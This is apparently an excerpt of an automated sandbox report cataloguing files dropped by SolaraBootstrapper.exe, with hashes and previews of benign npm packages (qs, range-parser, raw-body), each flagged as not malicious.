SSDEEP:	192:c5o1s3b0vlfby2bbEMY8qenkgFE1rugZHbVHIZ4vHyw5FTLShKjb412QEH3v4e18:c55mbEbCFPgZBECR412QEH3v7XwMlA
MD5:	90F8FBD8451FDB537B916F9B2F753456
SHA1:	E7AB39DB4097550EA490330813BE3788738F8D48
SHA-256:	9611D65366166F5F826B647F6F2DC25AD94EB5D0259E9646BFD13784DFCE907C
SHA-512:	24CA0EBD2B5501E956EC240A57B14EB9E204B338E6B0ACCFFC0412E174EB4524F84B4BCA71D8E6785153594159F8AE8730D09D0414FC1C407C94040FE33BBC64
Malicious:	false
Preview:	'use strict';..var utils = require('./utils');..var has = Object.prototype.hasOwnProperty;.var isArray = Array.isArray;..var defaults = {. allowDots: false,. allowPrototypes: false,. allowSparse: false,. arrayLimit: 20,. charset: 'utf-8',. charsetSentinel: false,. comma: false,. decoder: utils.decode,. delimiter: '&',. depth: 5,. ignoreQueryPrefix: false,. interpretNumericEntities: false,. parameterLimit: 1000,. parseArrays: true,. plainObjects: false,. strictNullHandling: false.};..var interpretNumericEntities = function (str) {. return str.replace(/&#(\d+);/g, function ($0, numberStr) {. return String.fromCharCode(parseInt(numberStr, 10));. });.};..var parseArrayValue = function (val, options) {. if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {. return val.split(',');. }.. return val;.};..// This is what browsers will submit when the . character occurs in an.// application/x-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\stringify.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	10358
Entropy (8bit):	4.624471165907384
Encrypted:	false
SSDEEP:	192:NDRWpkwbPXYoJB5SqqayEWvufCY6U0dUT+lavIxmwQ3qmlpLZnJU4tAJOFPXxTOe:NDRWpkmPXYoJBh8uku+laj33FJJAs5Xt
MD5:	1CBD67C569A1FAEE16DE2FF17FC8BF10
SHA1:	02D0313C24E068228B98AC886F173F70DE62B39D
SHA-256:	62C4B11841066E8A50A8F53B67DCA13DAEA011DD3F6244456EA25EC2BBE5D834
SHA-512:	DEFCBFCAEE7784CD46D397F8877E2FA0EB63A9B438F5FC1EBCDADC8D5E0A3E67B08BA9DA3E759A78C03363E680F52D54505E1939F15CA95C93DD3AD61A4EADCE
Malicious:	false
Preview:	'use strict';..var getSideChannel = require('side-channel');.var utils = require('./utils');.var formats = require('./formats');.var has = Object.prototype.hasOwnProperty;..var arrayPrefixGenerators = {. brackets: function brackets(prefix) {. return prefix + '[]';. },. comma: 'comma',. indices: function indices(prefix, key) {. return prefix + '[' + key + ']';. },. repeat: function repeat(prefix) {. return prefix;. }.};..var isArray = Array.isArray;.var split = String.prototype.split;.var push = Array.prototype.push;.var pushToArray = function (arr, valueOrArray) {. push.apply(arr, isArray(valueOrArray) ? valueOrArray : [valueOrArray]);.};..var toISO = Date.prototype.toISOString;..var defaultFormat = formats['default'];.var defaults = {. addQueryPrefix: false,. allowDots: false,. charset: 'utf-8',. charsetSentinel: false,. delimiter: '&',. encode: true,. encoder: utils.encode,. encodeValuesOnly: false,. format: defa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\utils.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6823
Entropy (8bit):	4.588218546291734
Encrypted:	false
SSDEEP:	192:zDKQfExDd3InEk0OIhB5oWB76OLMthk2L7KkNOW128RFlxJPyqqXrbFoQPI:zDKQH0hCWhIkOKioI
MD5:	37D7F5EDA99A09F6169DDB31B0800519
SHA1:	8695A4B17CBB4204CEA789012E2426AAAF9489F2
SHA-256:	1A360B096B61CB5D5260E6543ED032677D7DCADB0BCF9BA5C42833CA75622E9B
SHA-512:	8A26ED9530378195313729054CB8B063B496B61769A96AE50339349AD46019C8186C5F6426FC2EC8184D22EFA7CCF546D1124A9B6467D57ED99019E2E9DD4BD6
Malicious:	false
Preview:	'use strict';..var formats = require('./formats');..var has = Object.prototype.hasOwnProperty;.var isArray = Array.isArray;..var hexTable = (function () {. var array = [];. for (var i = 0; i < 256; ++i) {. array.push('%' + ((i < 16 ? '0' : '') + i.toString(16)).toUpperCase());. }.. return array;.}());..var compactQueue = function compactQueue(queue) {. while (queue.length > 1) {. var item = queue.pop();. var obj = item.obj[item.prop];.. if (isArray(obj)) {. var compacted = [];.. for (var j = 0; j < obj.length; ++j) {. if (typeof obj[j] !== 'undefined') {. compacted.push(obj[j]);. }. }.. item.obj[item.prop] = compacted;. }. }.};..var arrayToObject = function arrayToObject(source, options) {. var obj = options && options.plainObjects ? Object.create(null) : {};. for (var i = 0; i < source.length; ++i) {. if (typeof source[i] !== 'u

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2317
Entropy (8bit):	4.49824839481523
Encrypted:	false
SSDEEP:	48:ZDp53ckJ4tgsjtPTRP4Bvag059bMh3LF5q:pD3peiMtmBesJLq
MD5:	8293830097B45284F0FA44658785C307
SHA1:	52165B2DDFEE9D5B878020D2663E838536CD92BB
SHA-256:	1B9FB6E06C92BF2C8944BF2D0139790972C5B68304999699FD197A7ED63876EE
SHA-512:	880E4EC300C79483C71BB762AF8DB91DA6532B364C27512D87912040CE120399EE365609237F33C785037D476BD0A6FF701EDFBAB91234770FD9F5011DF7C587
Malicious:	false
Preview:	{. "name": "qs",. "description": "A querystring parser that supports nesting and arrays, with a depth limit",. "homepage": "https://github.com/ljharb/qs",. "version": "6.11.0",. "repository": {. "type": "git",. "url": "https://github.com/ljharb/qs.git". },. "funding": {. "url": "https://github.com/sponsors/ljharb". },. "main": "lib/index.js",. "contributors": [. {. "name": "Jordan Harband",. "email": "ljharb@gmail.com",. "url": "http://ljharb.codes". }. ],. "keywords": [. "querystring",. "qs",. "query",. "url",. "parse",. "stringify". ],. "engines": {. "node": ">=0.6". },. "dependencies": {. "side-channel": "^1.0.4". },. "devDependencies": {. "@ljharb/eslint-config": "^21.0.0",. "aud": "^2.0.0",. "browserify": "^16.5.2",. "eclint": "^2.8.1",. "eslint": "=8.8.0",. "evalm

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\parse.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	35871
Entropy (8bit):	4.758761664065293
Encrypted:	false
SSDEEP:	384:f3Nd+AuxA7RLoAUod+6IfippLzzlzzSkLb9/+zdzaNujMjbk+k1LM:f3SAJ79oAUo463ZJGzdza7aA
MD5:	843FD5478400C6414169358EB9237B0C
SHA1:	E585ACC3CCF8923C6CBF2BCC69319A9529C94F97
SHA-256:	DE9C43224E88E49977A3052D9DBA9096CE1F336F0B5DF0AEFCC1059467E88D57
SHA-512:	192890A0044177FC0EDF5C1B97A6B641704B10C810F1263D66B90F4F4105FD87B4D6DA585BF3EC9E528D6EA9464A6A92F53FE56081C9CADE4050C2758D876410
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var qs = require('../');.var utils = require('../lib/utils');.var iconv = require('iconv-lite');.var SaferBuffer = require('safer-buffer').Buffer;..test('parse()', function (t) {. t.test('parses a simple string', function (st) {. st.deepEqual(qs.parse('0=foo'), { 0: 'foo' });. st.deepEqual(qs.parse('foo=c++'), { foo: 'c ' });. st.deepEqual(qs.parse('a[>=]=23'), { a: { '>=': '23' } });. st.deepEqual(qs.parse('a[<=>]==23'), { a: { '<=>': '=23' } });. st.deepEqual(qs.parse('a[==]=23'), { a: { '==': '23' } });. st.deepEqual(qs.parse('foo', { strictNullHandling: true }), { foo: null });. st.deepEqual(qs.parse('foo'), { foo: '' });. st.deepEqual(qs.parse('foo='), { foo: '' });. st.deepEqual(qs.parse('foo=bar'), { foo: 'bar' });. st.deepEqual(qs.parse(' foo = bar = baz '), { ' foo ': ' bar = baz ' });. st.deepEqual(qs.parse('foo=bar=baz'), { foo: 'bar=baz' });. st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\stringify.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	35186
Entropy (8bit):	4.619525188691518
Encrypted:	false
SSDEEP:	384:f5zbo4PHEZBxpTX8WR1SzD4CmBG/fWDXuBg2rAlHtUzO1kqJ+xDuntWHE0riQt5M:fRot6ZxDuntWHE0S
MD5:	E56C2420CDE1DD52341EE604C5598D06
SHA1:	3D9AD16CAD40BA4A6A43D3D38765EA102A48C299
SHA-256:	9E1EB3E6772609072D168B84ABC20AA511E680244EA98B4CBF49725E31DE7721
SHA-512:	D5D14B4E2F695FE59E23DE6B2A28D3DEA39F5E0598A89298B4B7670AC817F3CD2BDEB24086FDC34D27B843AC27E1B4687D74BDEA73BD6BBB1042FCCBF8062663
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var qs = require('../');.var utils = require('../lib/utils');.var iconv = require('iconv-lite');.var SaferBuffer = require('safer-buffer').Buffer;.var hasSymbols = require('has-symbols');.var hasBigInt = typeof BigInt === 'function';..test('stringify()', function (t) {. t.test('stringifies a querystring object', function (st) {. st.equal(qs.stringify({ a: 'b' }), 'a=b');. st.equal(qs.stringify({ a: 1 }), 'a=1');. st.equal(qs.stringify({ a: 1, b: 2 }), 'a=1&b=2');. st.equal(qs.stringify({ a: 'A_Z' }), 'a=A_Z');. st.equal(qs.stringify({ a: '.' }), 'a=%E2%82%AC');. st.equal(qs.stringify({ a: '.' }), 'a=%EE%80%80');. st.equal(qs.stringify({ a: '.' }), 'a=%D7%90');. st.equal(qs.stringify({ a: '..' }), 'a=%F0%90%90%B7');. st.end();. });.. t.test('stringifies falsy values', function (st) {. st.equal(qs.stringify(undefined), '');. st.equal(qs.stringify(null),

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\utils.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5112
Entropy (8bit):	4.7086079566914485
Encrypted:	false
SSDEEP:	96:asl0wXxNm1uTbOCgs8vG6gEDSC4vrGBDN+i2Y:asRBF6Cz8vf74viJNR2Y
MD5:	707BA5727EF5EE20C147C1E43F5FE1BF
SHA1:	D418B6E7597AB122D26E1E535BFC57E148134DCF
SHA-256:	4ADBD25416BA0F75CE7AFAF6F71AA430B2AA918FD697F7E978B451C76D770714
SHA-512:	47C7575B529271EE118EB2750F4EA3C9045DDDAFE817752DDCD618F45FC8E2B2628517F5C3EC21D8F6117FA4248730205B1EEEC55FB587C948A9C4F6AE4BF1A2
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var inspect = require('object-inspect');.var SaferBuffer = require('safer-buffer').Buffer;.var forEach = require('for-each');.var utils = require('../lib/utils');..test('merge()', function (t) {. t.deepEqual(utils.merge(null, true), [null, true], 'merges true into null');.. t.deepEqual(utils.merge(null, [42]), [null, 42], 'merges null into an array');.. t.deepEqual(utils.merge({ a: 'b' }, { a: 'c' }), { a: ['b', 'c'] }, 'merges two objects with the same key');.. var oneMerged = utils.merge({ foo: 'bar' }, { foo: { first: '123' } });. t.deepEqual(oneMerged, { foo: ['bar', { first: '123' }] }, 'merges a standalone and an object into an array');.. var twoMerged = utils.merge({ foo: ['bar', { first: '123' }] }, { foo: { second: '456' } });. t.deepEqual(twoMerged, { foo: { 0: 'bar', 1: { first: '123' }, second: '456' } }, 'merges a standalone and two objects into an array');.. var sandwiched = utils.merge({ foo: ['bar', { fi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.4793704622098875
Encrypted:	false
SSDEEP:	24:SvClBfKulHq56dRAqG5L5wJFFXHyAW8HY:cUtE56dHGYJjHTa
MD5:	6FDB98EB13B0D3DD31F0FF795BE6A52B
SHA1:	CD3C379ADD4188F5F4186BCF8FA7A6E7D4F395D0
SHA-256:	AA0D8D70A8C3CDD30685235914CA2422A4E9FD2FA901B166811FA130D05D3F06
SHA-512:	5E48780721BEB2FE1441B4796784EEC26C1BDDB75417563E1DD189E6E52E59F18F02680074BB486D368DF60A1BB940B7A8F1CBE3F08EC74107AD653CBA5B15E2
Malicious:	false
Preview:	1.2.1 / 2019-05-10.==================.. * Improve error when `str` is not a string..1.2.0 / 2016-06-01.==================.. * Add `combine` option to combine overlapping ranges..1.1.0 / 2016-05-13.==================.. * Fix incorrectly returning -1 when there is at least one valid range. * perf: remove internal function..1.0.3 / 2015-10-29.==================.. * perf: enable strict mode..1.0.2 / 2014-09-08.==================.. * Support Node.js 0.6..1.0.1 / 2014-09-07.==================.. * Move repository to jshttp..1.0.0 / 2013-12-11.==================.. * Add repository to package.json. * Add MIT license..0.0.4 / 2012-06-17.==================.. * Change ret -1 for unsatisfiable and -2 when invalid..0.0.3 / 2012-06-17.==================.. * Fix last-byte-pos default to len - 1..0.0.2 / 2012-06-14.==================.. * Add `.type`..0.0.1 / 2012-06-11.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1178
Entropy (8bit):	5.21865173449101
Encrypted:	false
SSDEEP:	24:5UiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:WiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	D4246FB961A4F121EEF5FFCA47F0B010
SHA1:	43A61F2604C8261E7F03AD44744C387649C480B3
SHA-256:	F655E6291356EC0DE7A8F0E69F294961A2CEA86678EC94588BE1E6A492E278AB
SHA-512:	C4ED365A462F277A23A8A66774ED4435D6E6EB1F331A61F4709944F0504086E8BFA0A7B18FC2F9645DEE18C20FD02E0A6ABD7AEEE09DB0C60BA70A64E559210B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015-2016 Douglas Christopher Wilson <doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAG

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	4.998879354179689
Encrypted:	false
SSDEEP:	48:v3DdC9XRi2NdXMoNjp3wc32JdWQgPBBs9ePc50hvBp3SAW393i53Ap3f3giv3bWv:PBCD15Zl2JdPgPBa9kcEfyJ66fgiPbWv
MD5:	F4B241A4D3C3EAC1D542759D73164083
SHA1:	B3558CBF7EFEEE715175DE415DC67F49C49410E8
SHA-256:	886BF556A8A88ADC2AAC86DA3C8D63106E1C8E7854EB14BC1C095EDC074163F8
SHA-512:	C23AAAA2887136CE8F4EADEF41BDA8CBEB8446143F4F50309E23186ABFF36F49C9922201006E924F272DA84A06180AE38B639D0E06620E4E9BB36BD4C4E40236
Malicious:	false
Preview:	# range-parser..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Range header field parser...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install range-parser.```..## API.. eslint-disable no-unused-vars -->..```js.var parseRange = require('range-parser').```..### parseRange(size, header, options)..Parse the given `header` string where `size` is the maximum size of the resource..An array of ranges will be returned or negative numbers indicating an error parsing... * `-2` signals a malformed header string. * `-1` signals an unsatisfiable range.. eslint-disable no-undef -->..`

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2900
Entropy (8bit):	4.7125797911139164
Encrypted:	false
SSDEEP:	48:63dMSk0GXUF65WerutornZGgbCitbC2mgMcdWNoy+otDUbWpWizPNjC:0RqXT9raoDUgeitu2GczoZO
MD5:	E72576333D27D1C9B3901C4B9E597F27
SHA1:	99F605CD5BA471183657FBF318DBC8E5EC82F042
SHA-256:	38786526D000475300728DB07455AA21D1E37B0F24E48FBC4CB30136AE30B07B
SHA-512:	86A0D770C08B7E61DEA3F63B12736E11737874D32650F263A3728C01C93027ED305FA80AEC05997584E7F6EBE8F78DD0F17C26A1EB5FC4653AFAB501971FCDDA
Malicious:	false
Preview:	/!. range-parser. * Copyright(c) 2012-2014 TJ Holowaychuk. * Copyright(c) 2015-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = rangeParser../. Parse "Range" header `str` relative to the given file `size`.. . @param {Number} size. * @param {String} str. * @param {Object} [options]. * @return {Array}. * @public. */..function rangeParser (size, str, options) {. if (typeof str !== 'string') {. throw new TypeError('argument str must be a string'). }.. var index = str.indexOf('=').. if (index === -1) {. return -2. }.. // split the range string. var arr = str.slice(index + 1).split(','). var ranges = [].. // add ranges type. ranges.type = str.slice(0, index).. // parse all ranges. for (var i = 0; i < arr.length; i++) {. var range = arr[i].split('-'). var start = parseInt(range[0], 10). var end = parseInt(range[1], 10).. // -nnn. if (isNaN(start)) {. start = size - end.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	4.853167582936616
Encrypted:	false
SSDEEP:	24:C3LVpgAT1rxVTSdLPbetK3+nUghTY3WZMCWKXKBBoO8:C3ppFJtVTePbeo3+nUgh0GqBkcBoO8
MD5:	89B7CC42D2831A8061361CA29545F837
SHA1:	E82A50D4BE1C57DED40BF39A5232BF5C6DABB46D
SHA-256:	D0B5F54EAA59001DC86720A9BE1FDF653BAD83707D70842332FB3E8847F65A89
SHA-512:	8676FDCBE03F4E27E56E8BB2CE94864124EC908ABA47CA856A4073A937D9D4CF07A1667567D8D39E50B8B4D5ACE102362739BA933501F475EE9F9DCAB215DE05
Malicious:	false
Preview:	{. "name": "range-parser",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "description": "Range header field string parser",. "version": "1.2.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "James Wyatt Cready <wyatt.cready@lanetix.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "range",. "parser",. "http". ],. "repository": "jshttp/range-parser",. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-markdown": "1.0.0",. "eslint-plugin-import": "2.17.2",. "eslint-plugin-node": "8.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "mocha": "6.1.4",. "nyc": "14.1.1". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint --plugi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6048
Entropy (8bit):	4.790078545667384
Encrypted:	false
SSDEEP:	96:yir0vpiCxwTLLDxTozlyF2U8EQizn31frw6G7guHsqga4gJ6EwD:ygLVClU8EQizn31TvG7g6sfbgq
MD5:	92DF122B507AC7FEAF5BF891873FD5A4
SHA1:	045515E9495ED3976F52B2F82DB7F6E8482CF8A6
SHA-256:	6CC8EDB23C7231759530513A8A12A59E1828B3201D92F93265D322F22B9BC3E3
SHA-512:	1646D86B9B2D6F4812DBEB0E8C8E47FB7B9154CAB5117995147635F817053889FBBD8597C1625E91CED4EE06CDCE00944C68254DE58BA4E50F0CC3C18B0C42AB
Malicious:	false
Preview:	2.5.2 / 2023-02-21.==================.. * Fix error message for non-stream argument..2.5.1 / 2022-02-28.==================.. * Fix error on early async hooks implementations..2.5.0 / 2022-02-21.==================.. * Prevent loss of async hooks context. * Prevent hanging when stream is not readable. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1..2.4.3 / 2022-02-14.==================.. * deps: bytes@3.1.2..2.4.2 / 2021-11-16.==================.. * deps: bytes@3.1.1. * deps: http-errors@1.8.1. - deps: setprototypeof@1.2.0. - deps: toidentifier@1.0.1..2.4.1 / 2019-06-25.==================.. * deps: http-errors@1.7.3. - deps: inherits@2.0.4..2.4.0 / 2019-04-17.==================.. * deps: bytes@3.1.0. - Add petabyte (`pb`) support. * deps: http-errors@1.7.2. - Set constructor name when possible. - deps: setprototypeof@1.1.1. - deps: statuses@'>= 1.5.0 < 2'. * deps: iconv-lite@0.4.24. - Added encoding MIK..2.3.3 / 2018-05-08.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1181
Entropy (8bit):	5.205541824014001
Encrypted:	false
SSDEEP:	24:bUMrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bUMaJHlxE35QHOs5exm3ogF5n
MD5:	F22163D3BC6B4BC1BBBDF654FE30AF5B
SHA1:	64F407BB4BE1A9856B71063484B6A31CAC33E16E
SHA-256:	37876D7DE8BDF5E5B9B58A697EBC34044624E493E6F49EFF5C938E5226DCAC6B
SHA-512:	692AE6FCB8B90046374A67948A225C61AF566187BA3604A92406B14D773F6646C77AACC5DF61FD49783F48D72B4ADDD4C0117514D22E1DECED2F26B64B27FE55
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2013-2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	6553
Entropy (8bit):	4.940583595246406
Encrypted:	false
SSDEEP:	96:oXCHQmOz15wheU7IJEE9lQulR1n9AljzaPHoPnCRI2GIESsUiru:oyBh7aZ9lHQjzavmnCu23EGKu
MD5:	48FC13005FB5CF414C22AC67588903FA
SHA1:	360E984030BB1CA698C46AE6B3F1258E63F80766
SHA-256:	2BDF5DC084FEC13FA087101D1C3EFDC22421D19C1551984B49CE6705EB636D57
SHA-512:	667EF9DA41970BC1D0C232526A616AF6825BC22894B74255F8DE0C7C5C9E4D397313F3B2B63C88848FAC73F14E38936BD8F7F1AC675CB542D4886066613A8930
Malicious:	false
Preview:	# raw-body..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build status][github-actions-ci-image]][github-actions-ci-url].[![Test coverage][coveralls-image]][coveralls-url]..Gets the entire buffer of a stream either as a `Buffer` or a string..Validates the stream's length against an expected length and maximum limit..Ideal for parsing request bodies...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install raw-body.```..### TypeScript..This module includes a [TypeScript](https://www.typescriptlang.org/).declaration file to enable auto complete in compatible editors and type.information for TypeScript projects. This module depends on the Node.js.types, so install `@types/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	4.487034324754042
Encrypted:	false
SSDEEP:	24:1IoSZ8gGzOWSKH+OKWun6xtDF925a/7kJyEyF0eOCYunEfu7WR:1YSCWTAbyia/7xPYun7WR
MD5:	1BB637BF8FF378E713927320C10E746B
SHA1:	92CC51BD40A3D679C86506A29A924F93378CBDB8
SHA-256:	410480C1FCB35DDD5CE7EE8FEA94048E996768BE94DDFD6DC5725AC7AEC089C9
SHA-512:	BB605B19DE97FA36915A3D4087312E45CA7C351889A32410C91D3DCEDFD8D1FE9018751A42FA00D0DCAD7F54A5A5BE47570C8D0F5CD9FBF9F28B7C82F0C7A47D
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `raw-body` team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owners of `raw-body`. This information.can be found in the npm registry using the command `npm owner ls raw-body`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/stream-utils/raw-body/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. Aft

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	4.716535330616151
Encrypted:	false
SSDEEP:	48:ASmP/xrg//TaGXE+7NI/A0i/Te/0D/o4/4MI/qnDcz/CqEJjMGJeSVNaMJenn5JN:A3Ptg/pJCo0iq2g4qSnDcz5+zJeQNaMy
MD5:	EE9C2C994CBBC6D6E96D6460488AE4F1
SHA1:	33B90142EA3505FA124BCCFEA49BEE515C695DEC
SHA-256:	3D05B353D9341C0DBFF6D21F18490E346C3B661F5FC9D7F36E0E3FE5F940699C
SHA-512:	CCCD8DE526A4A097F7D9320AF2EF7E0772E429805903E319A068CEFE4C3D636A3C35569FD49A5A791EFAC0DBD7A4F34ED8579A87565993AAF6FEED269176BF3D
Malicious:	false
Preview:	import { Readable } from 'stream';..declare namespace getRawBody {. export type Encoding = string \| true;.. export interface Options {. /*. The expected length of the stream.. /. length?: number \| string \| null;. /. The byte limit of the body. This is the number of bytes or any string. * format supported by `bytes`, for example `1000`, `'500kb'` or `'3mb'`.. /. limit?: number \| string \| null;. /. The encoding to use to decode the body into a string. By default, a. * `Buffer` instance will be returned when no encoding is specified. Most. * likely, you want `utf-8`, so setting encoding to `true` will decode as. * `utf-8`. You can use any type of encoding supported by `iconv-lite`.. /. encoding?: Encoding \| null;. }.. export interface RawBodyError extends Error {. /. The limit in bytes.. /. limit?: number;. /. The expected length of the stream.. */. length?: number;. expecte

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7171
Entropy (8bit):	4.768620091363697
Encrypted:	false
SSDEEP:	192:8ZJAKvoBunmQyMM0y12udG+b4a6tiBtz7XzGIXUXDlp:8ZSKnmDR3dGhE3Y3
MD5:	C7DA7DD272DEB49B1042A6AD81419D5E
SHA1:	8A4CBA78D978452AA8C722F77AB07C0DA12B35E1
SHA-256:	E1C1FF9152EC1F5CF1EF1C2B853D6723E93BA13E4E9F1F15F9C6B2026A39A1CB
